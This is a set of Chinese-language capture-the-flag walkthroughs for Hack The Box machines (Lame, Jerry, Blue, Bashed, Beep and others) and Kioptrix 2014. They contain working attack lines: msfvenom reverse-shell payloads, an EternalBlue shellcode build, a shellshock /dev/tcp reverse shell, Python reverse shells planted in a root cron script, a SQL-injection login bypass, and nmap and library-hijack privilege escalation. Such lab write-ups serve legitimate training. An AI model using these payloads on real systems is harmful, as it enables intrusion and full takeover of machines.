HTB-Lame

0x01 端口扫描

  • 21端口:ftp服务
  • 22端口:SSH服务
  • 139端口:samba服务
  • 445端口:samba服务

0x02 ftp服务

FTP匿名登陆

尝试匿名登陆

登陆成功但无可用信息

vsftpd 2.3.4 RCE

使用MSF利用漏洞,利用失败

0x03 Samba Username Map Script命令执行

列出Samba共享

尝试无密码登陆

Samba 3.0.20 RCE

使用MSF利用

0x04 总结

  • 不要漏看端口及服务的结果,很可能错失机会
  • ftp匿名登陆
  • samba列出共享无密码/弱口令登陆
  • samba 3.0.20 RCE

HTB-Jerry

0x01 端口扫描

开放端口如下:

  • 8080端口:Tomcat 7.0.88

操作系统猜测为windows系统

访问8080端口

0x02 Tomcat应用管理服务的弱口令

尝试使用MSF自带的爆破工具进行爆破

等待一段时间获得账户和密码

成功登录,我们获得了war包应用文件的上传和部署权限

接下来构造一个war包然后上传,命令如下

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.2 LPORT=8888 -f war > xxxwtbb99.war

监听1101端口

至此我们拿下了最高权限SYSTEM权限,因为主机系统为windows系统,且Tomcat应用管理服务运行于system权限之下,因此我们直接获得了最高的SYSTEM权限。

0x03 总结

  • 信息搜集获得tomcat默认页面
  • tomcat manager app 弱口令登录
  • 上传war包部署并访问,获得SYSTEM权限

HTB-Grandpa

0x01 端口扫描

开启了80端口,并且服务为Microsoft IIS httpd 6.0

访问80端口

0x02 IIS 6.0 RCE

小坑:

此处使用python2

使用前需要将exp更名为iis6webday.py

此处可以看到并非system权限,需要进行提权

0x03 本地脆弱性搜集

大量可利用漏洞

0x04 FTP文件传输

经测试无法使用以下命令

wget
curl
bitsadmin
powershell

但可使用ftp命令,本机开启FTP服务

找个目录存放payload

创建一个ftp.txt文件,其中包含下载MS08-025.exe的命令

ftp -v -n -s:ftp.txt
  • -v:不显示远程服务器响应
  • -n:禁止第一次连接时自动登陆
  • -s:filename指定包含ftp命令的文本文件,ftp命令启动后将自动运行这些命令。注意加的参数中不能有空格。

小坑:

此处只有-s后才可接文件名,不要写错参数位置。

0x05 巴西烤肉

下载pr.exe后运行尝试whoami命令

添加新用户用户,并将新用户添加到管理员组

失败

上传nc.exe(方法同上),利用nc.exe获取反弹shell

kali开启nc监听8888端口

执行命令获取反弹shell

pr失败,更换churrasco.exe成功

0x06 总结

  • IIS 6.0 RCE
  • 仔细查看exp要求,更改名称
  • 通过写入txt文件使用ftp下载payload
  • 上传nc获取SYSTEM权限反弹shell

HTB-Friendzone

0x01 端口扫描

  • 21端口:FTP服务
  • 22端口:SSH服务
  • 53端口:DNS服务
  • 80端口:HTTP服务
  • 139端口:SAMBA文件共享服务
  • 443端口:HTTPS服务
  • 445端口:SAMBA文件共享服务

0x02 SAMBA文件共享目录枚举

首先列出samba文件共享

使用命令访问各个目录,其中-N表示匿名登陆

下载creds.txt文件

同样访问其他目录,无其他文件

查看刚下载的creds.txt文件

获得像是某个系统的admin账号及密码

0x03 DNS域传送

访问80端口获取如下页面

页面的邮件信息域名结合nmap的commonName=friendzone.red的信息我们可确认域名为friendzone.red,因此我们需要修改本机的hosts文件并重启服务

获取到三个额外的域名

将上述三个域名添加到hosts文件,重新进行访问

此处需注意,访问http的三个站点和默认站点相同毫无收获,而使用https再重新访问则会获得一个文件上传点和一个后台登陆点

0x04 任意文件上传

此处未限制文件后缀,可上传任意文件

但无法找到路径,同时上传多大的文件时间间隔都差不多,甚至无法确定是否真的上传还是只是固定响应效果。

0x05 泄露登录凭证

看这这个登陆页面,结合之前samba获得的疑似admin用户的账户密码,尝试进行登陆,登陆成功

根据页面提示我们访问/dashboard.php

提示我们可使用 image_id= 和 pagename 参数访问特定内容,并提供了示例

0x05 LFI本地文件包含漏洞

构造url测试参数是否存在目录穿越漏洞

https://administrator1.friendzone.red/dashboard.php?
image_id=a.jpg&pagename=../../../../../etc/passwd

不存在目录穿越

构造url尝试是否存在LFI漏洞

构造url加载当前页面,出现了无限循环的自加载情况,说明存在LFI漏洞,且后缀可能限定了为.php

0x06 组合利用漏洞线索执行RCE

总结目前情况,我们拥有一个LFI可以触发php文件,同时我们拥有一个可以上传php文件的目录

这里依然使用自带的php-reverse-shell.php,将文件上传到samba目录。

连接Development目录并上传php反弹shell

构造url使LFI触发我们的反弹shell,并监听1101端口,获得管理员权限

0x07 本地脆弱性枚举

查看到当前用户目录下存在MySQL数据库配置文件。

其中包含数据库的用户名及密码,尝试使用该账户登陆ssh

当前的friend用户无法使用sudo命令

0x08 pspy动态、实时命令检测

上传成功后赋予权限并运行

观察发现每隔两分钟python和bash都会执行reporter.py,那我我们能够修改reporter.py即可获取root权限。

查看reporter.py的内容

查看我们是否具有对该文件的写入权限

当前用户不具备写入的权限。

但我们可以在reporter.py中发现该脚本引入了os链接库

进一步搜集脆弱性

此处我们获得信息,虽然我们没有写入reporter.py的权限,但是我们拥有写入os.py的权限。

0x09 python链接库文件修改

使用命令在os.py文件中插入反弹shell代码,将原来的os.py删除替换成我们改过的。

监听8888端口,等待两分钟执行脚本,获取root权限

0x10 总结

  • 列出smaba共享并查看是否有可用信息
  • DNS域传送获取更多站点信息
  • 注意http和https不同,可能获得更多功能点
  • 通过上传不同大小的文件的时间间隔判断是否真存在文件上传
  • smaba获取的path上传文件配合LFI获取反弹shell
  • 当前用户根目录数据库文件获取用户名密码,尝试登陆ssh
  • pspy实时抓取命令,判断定时任务
  • 无权限修改定时任务的脚本,则修改脚本引入的库文件
  • 不会用vi,用smb下载到本地修改完上传回去,删除旧的用新的替换,曲线救国

HTB-Devel

0x01 端口扫描

  • 21端口:FTP服务
  • 25端口:邮箱服务
  • 110端口:邮箱服务

目标明确,尝试FTP匿名登录

0x02 FTP匿名登录

通过列出目录信息发现存在IIS默认页面iisstart.htm,这意味着该目录可能也是目标主机的http服务相关目录,访问80端口印证了我们的猜想。

为了进一步验证猜想,我们发现目录下还有welcome.png,访问该文件

这意味着该主机的ftp目录与http目录相同,因此我们通过ftp上传webshell可接管网站。

0x03 借助FTP匿名访问获得webshell

put命令上传webshell到ftp目录

访问webshell并执行whoami

msfvenom生成/上传webshell

监听1101端口

访问上传的webshell

收到反弹shell

使用命令查看系统配置

可以看到该机器没有打补丁,可搜搜可利用的漏洞进行提权

将后门自动迁移到稳定的进程

0x04 提权

以上为可能可利用的漏洞,挑选进行尝试

获取system权限

0x05 总结

  • 使用ftp匿名登录搜集信息
  • 结合ftp目录及web目录判断同目录
  • ftp上传webshell获取低权限
  • systeminfo查看补丁信息获取提权可用漏洞
  • 提权,根据windows shell和meperpreter使用不同的命令查找flag

HTB-Cronos

0x01 端口扫描

端口扫描结果如下

  • 22端口:SSH服务
  • 53端口:DNS服务
  • 80端口:HTTP服务

访问80端口,出现Apache页面

此处说明,HTB的主机都提供了域名,每台主机域名均为主机名.htb

因此我们修改Host查看是否存在其他页面

访问http://cronos.htb/

获得如下页面

此处点击按钮能够发现跳转至laravel相关的页面,因此我们合理推测该系统使用laravel搭建。

0x02 兔子洞-laravel-RCE

此处下载的laravel的exp都不能使用,页面源码也看不到版本是多少,通过下方连接会跳转到laravel页面并显示10.X版本。此处我们无法获取更多线索也无法得知为什么exp不起作用,此类似是而非的漏洞统称兔子洞,我们暂且搁置不要浪费大量时间。

0x03 DNS域传送

放弃80端口我们只剩下22端口的SSH和53端口的DNS,22端口SSH的爆破难度高几率渺茫,暂且搁置。目标对准DNS服务。

此处说明DNS域传送漏洞,DNS域传送本质是泄露了域名与IP的对应关系的数据,因为多台DNS服务器之间可能需要同步最新的域名与IP的对应关系,正常情况下同步请求命令只允许特定的DNS服务器执行和访问,但由于配置错误或疏忽,允许任意IP主机向DNS服务器发起请求同步信息的话,我们就能获得最新的域名和IP对应关系,即DNS域传送漏洞

通过该漏洞我们额外获得了三个域名。

将三个子域名加入到hosts文件中进行访问

访问过后发现新页面只有admin.cronos.htb

0x04 表单数据与SQL注入

此处获得一个302跳转,并且跳转的页面为welcome.php,此时测试的参数为username。

因此我们完全有理由相信username参数存在sql注入,并且有sql语句触发了登陆操作,说明我们可以通过注入免密登陆。此处使用authentication bypass payload,此处包含了绝大多数的注入语句payload

此处使用payload成功无密码登陆

admin' -- -

其中 — – 为注释,故使用 admin’# 同样可以免密登陆。

0x05 授权后的RCE

熟悉的味道,构造payload浅尝一下

开启本地监听1101端口

获得www-data的反弹shell

开启一个标准bash终端

可使用内核提权(不推荐)

0x06 本地脆弱性搜集

一个root身份每秒钟执行一次的任务

php /var/www/laravel/artisan # 核心内容
schedule:run >> /dev/null 2>&1 # 不输出定时任务的执行结果

使用命令查看/var/www/laravel/artisan的文件类型

可知这是一个php文件

查看该文件的权限

所有者为当前用户,因此我们具有写权限

综合以上我们使用php的木马更名为同名文件,并将原来的删除即可获取到root权限。

0x07 crontab提权

上传木马并更改文件名

获取root权限

0x08 总结

  • 面对无法成功的漏洞不要浪费太多时间
  • 53端口DNS服务的域传送漏洞获取额外的信息
  • 通过sql注入免密登陆系统
  • 使用授权后的RCE获取网站管理员的反弹shell
  • 通过替换定时任务执行的脚本获取root权限

HTB-BLUE

0x01 端口扫描

其中常见端口如下:

  • 445端口:SMB服务
  • 139端口:SMB服务

MS17-010自动化利用失败

尝试对windows目标利用该漏洞时,无论使用MSF自带的ms17-010-command还是ms17-010-psexec模块,或者github上的zzz_exploit.py都有概率获得漏洞利用失败的反馈,具体如下:

Not found accessible named pipe!

尤其是windos系统为windows7或更新版本时,几乎会百分百触发失败反馈。

这是由于上述集中exploit的利用方式均依赖于目标主机的命名管道(named pipe),而在windows server 2003及之后版
本的操作系统默认不提供允许匿名访问的命名管道,因此导致依赖此类利用方式的MS17-010漏洞exploit失效。

脚本确认是否存在漏洞

根据上方扫描大致确定系统为windows7,大致确定在MS17-010漏洞影响范围内,使用Nmap脚本确定是否可利用。

nmap --script vuln 10.10.10.40 -p 445

通过扫描结果可发现该主机未安装补丁,可利用

0x02 绕过命名管道限制利用MS17-010

首先列出SMB共享信息

尝试访问,未发现有用信息。

那接下来目标很明确,使用MS17-010开打。

根据是否需要使用pipe来决定使用哪种,需要命名管道则使用zzz,不需要则使用exploit7

若不使用命名管道的方式则需要向exploit提供目标主机IP以及shellcode,在文件夹中可看到两个asm文件及

shellcode,分别对应64位和32位,大部分windows7都是使用64位,因此我们使用64位的。

到shellcode目录下找到64位的shellcode使用命令,将其转换成bin文件

nasm -f bin ./eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

使用msfvenom生成x64架构的windows反弹shell可执行程序,且输出文件也设定为bin格式。并监听好端口。

msfvenom -p windows/x64/shell_reverse_tcp LPORT=1101 LHOST=10.10.16.2 --platform windows -a x64 --
format raw -o sc_x64_payload.bin

接下来将kernel.bin和payload.bin合并为新的shellcode

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
python2 eternalblue_exploit7.py 10.10.10.40 shellcode/sc_x64.bin

执行该命令后将获得反弹shell

0x03 总结

  • 使用exploit还原成bin文件
  • 使用msfvenom生成bin文件
  • 两个bin文件合成为一个bin文件

HTB-Beep

0x01 端口扫描

开启端口情况如下:

  • 22端口:SSH服务
  • 25端口:SMTP服务
  • 80端口:http服务
  • 110端口:pop3服务
  • 443端口:https服务
  • 3306端口:MySQL服务

0x02 Elastix系统

访问页面,此处有小坑:

不支持低版本TLS,修改配置即可

搜索该系统发现两个exp,分别是LFI和RCE

Elastix 2.2.0-LFI(本地文件包含)漏洞

使用exp构造连接并访问页面

成功触发漏洞并获得大量信息

通过该文件我们可获得大量的敏感信息,其中包含疑似用户名与疑似密码的信息,分别保存为两个文件进行爆破。

0x03 ssh爆破

此处小坑:

could not connect to ssh:

在/etc/ssh/sshd_config下加入如下内容

KexAlgorithms diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-groupexchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdhsha2-nistp521,diffie-hellman-group1-sha1

重启ssh服务

根据客户端还是服务端报错进行修改,客户端报错就修改ssh_config,服务端就修改sshd_config,缺少mac

algo就将ssh_config中的Macs的注释解除。

成功获得root账户和密码

SSH远程登陆,获取root权限

0x04 Elastix RCE

下载并查看exp

可发现除了ip和端口还需要一个参数ext

ension,该参数相当于系统的唯一标识码。

通过目录爆破获得panel路径,访问查看到extension值为233

开启监听443端口并使用exp,获得shell,非root权限

0x05 Nmap提权

查找可用于提权的应用

sudo nmap -interactive
!sh

0x07 无回显shellshock漏洞

访问10000端口内容如下

查看源代码发现加载了cgi文件,cgi是shellshock漏洞的常用载体

抓包并进行尝试

此处无回显,采用类似sql盲注的方式,使用sleep方式使其延迟10秒返回响应

() { :;};sleep 10;

确认确实存在shellshock漏洞,监听本地端口并构造exp获取反弹shell

() { :;};/bin/bash -i >& /dev/tcp/10.10.10.62/1101 0>&1;

成功获取root权限

0x08 总结

  • 浏览器about:config选项可设置TLS版本低导致的无法访问
  • Elastix LFI获取敏感信息
  • 根据报错修改ssh_config(客户端)和sshd_config(服务端)配置文件
  • Elastix RCE
  • Nmap提权
  • 注意加载的cgi脚本等文件
  • 无回显的shellshock

HTB-Bashed

0x01 端口扫描

开启端口信息如下:

  • 80端口:http服务

访问80端口出现如下页面

查看页面源代码未获得有价值信息

点击链接获得如下信息,phpbash可能是个开源系统。

0x02 目录扫描

对该站点进行目录遍历

获取到/dev/phpbash.min.php和/dev/phpbash.php两个页面,均能够执行命令

现成的webshell,方便多了

0x03 暴露的webshell程序

我们获得了一个现成的webshell,因此我们执行命令反弹shell即可。我们使用python -h发现目标主机存在python环境

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1101));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功获得一个反弹shell

使用命令开启标准终端并禁用回显

python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo

至此我们接管了网站

0x04 目标本地脆弱性搜集

由此我们得知www-data用户可以免密码通过sudo命令以scriptmanager用户的身份执行任意命令。

0x05 本地脆弱性1-sudo权限

使用命令获取scriptmanager用户权限

上传脚本发现脆弱性

此处我们发现最近五分钟被人编辑过,该靶机应该只有我们一个人操作,因此可能存在定时任务。

为了验证上述假设,我们访问/scripts/目录,查看最后编辑时间

我们发现时间间隔为1分钟,因此我们判断存在时间间隔为1分钟的定时任务。

查看test.py文件内容

其内容为打开test.txt,写入testing 123!

打开test.txt查看,内容吻合

并且我们需要注意到该test.txt文件所有者为root,只有root用户可以写入,那么说明执行test.py文件的计划任务具有root权限,而test.py

的所有者是我们,因此我们可以通过修改test.py文件去利用定时计划的root权限。

修改python脚本内容如下:

import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

使用命令直接写入

echo "import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((\"10.10.16.2\",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([\"/bin/sh\",\"-i\"])" > test.py

此处小坑,切记echo命令写入时会丢失双引号,要在双引号前加反斜杠避免丢失!!!

kali开始监听1234端口然后等待1分钟。

成功获得root权限

0x06 总结

  • 目录遍历获取额外链接
  • 利用存在的webshell接管网站
  • 本地脆弱性枚举获取存在定时任务信息
  • 修改定时任务调用脚本,窃取计划任务的root权限
  • 使用\合理规避echo命令不完整问题

HTB-Kioptrix 2014

0x01 主机发现

0x02 端口扫描

  • 22端口:关闭
  • 80端口:http服务
  • 8080端口:http服务

访问80为apache初始页面

访问8080禁止访问

对80端口页面进行探测

查看网页源代码从注释中获得信息

访问该地址

0x03 pChart 2.X 目录穿越

利用该漏洞读取到/etc/passwd文件

通过该漏洞我们还可以读取Apache中间件的主配置文件httpd.conf,确认无法访问8080端口的原因。可通过Apache官方提供的站点查找路径

结合nmap的扫描结果,Apache2.2.21版本,FreeBSD操作系统查找到对应路径。

访问httpd.conf文件发现其对文件最下方进行了设置

仅允许Mozilla/4.0 Mozilla4_browser才允许访问。

0x04 伪造UA访问资源

打开Bp并抓包,或者浏览器插件user agetn switcher修改UA为Mozilla/4.0并访问

同样修改UA,访问phptax/

0x05 phptax RCE

存在一个没有回显的RCE,因此无法实时确定命令是否执行成功,所以这里可以将命令结果写入目标主机的本地文件,通过访问被写入的文件确认命令执行的情况。

访问写入的文件

成功执行whoami并且权限为www

将whoami命令换成sudo -l,?等命令均无信息,直接用nc反弹shell试试。

无法获得反弹shell

直接写个一句话木马进去试试

此处要注意空格符号中英文及\转义等,否则会因为书写不完整无法使用

访问shell测试一下

nc监听反弹shell

0x07 主机信息搜集

本机只有两样东西,这也没有和那也没有,有gcc,可以考虑脏牛等提权,uname -a查看下系统信息,得知系统为amd64位FreeBSD 9.0系统。

0x08 FreeBSD 9 内核提权

利用之前上传的一句话木马查找路径

编译文件并执行

获取root权限

0x09 总结

  • 源代码泄露获取额外页面
  • pChart目录穿越漏洞获取Apache中间件配置文件
  • 伪造UserAgent访问到其他页面
  • phptha RCE上传一句话木马
  • 通过一句话使用nc上传反弹shell
  • FreeBSD内核提权